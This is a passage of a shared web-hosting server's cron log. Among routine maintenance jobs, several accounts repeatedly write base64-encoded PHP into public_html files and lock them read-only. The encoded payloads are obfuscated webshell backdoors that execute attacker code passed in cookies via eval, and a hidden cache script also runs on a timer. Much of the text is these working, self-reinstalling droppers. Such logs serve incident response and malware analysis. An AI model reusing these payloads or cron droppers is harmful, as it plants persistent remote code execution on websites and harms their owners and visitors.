ICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:58:01 medusa CROND[18605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:58:01 medusa CROND[18606]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:58:01 medusa CROND[18608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:58:01 medusa CROND[18609]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:58:01 medusa CROND[18610]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:58:01 medusa CROND[18611]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:58:01 medusa CROND[18614]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:58:01 medusa CROND[18613]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:58:01 medusa CROND[18615]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:58:01 medusa CROND[18612]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:58:01 medusa CROND[18622]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:59:02 medusa CROND[25776]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:59:02 medusa CROND[25777]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:59:02 medusa CROND[25779]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:59:02 medusa CROND[25778]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:59:02 medusa CROND[25780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:59:02 medusa CROND[25783]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:59:02 medusa CROND[25784]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:59:02 medusa CROND[25785]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:59:02 medusa CROND[25788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:59:02 medusa CROND[25791]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:59:02 medusa CROND[25790]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:59:02 medusa CROND[25798]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:00:01 medusa CROND[1394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:00:01 medusa CROND[1463]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1598]: (root) CMD (/usr/sbin/cloudlinux-xray-continuous &> /dev/null)
Mar  2 00:00:01 medusa CROND[1714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:00:01 medusa CROND[1746]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:00:01 medusa CROND[1747]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1748]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:00:01 medusa CROND[1749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:00:01 medusa CROND[1751]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1752]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:00:01 medusa CROND[1753]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:00:01 medusa CROND[1757]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:00:01 medusa CROND[1760]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1761]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/ot/cron/email_overdue_tickets.php > /dev/null)
Mar  2 00:00:01 medusa CROND[1769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 00:00:01 medusa CROND[1774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:00:01 medusa CROND[1776]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgIC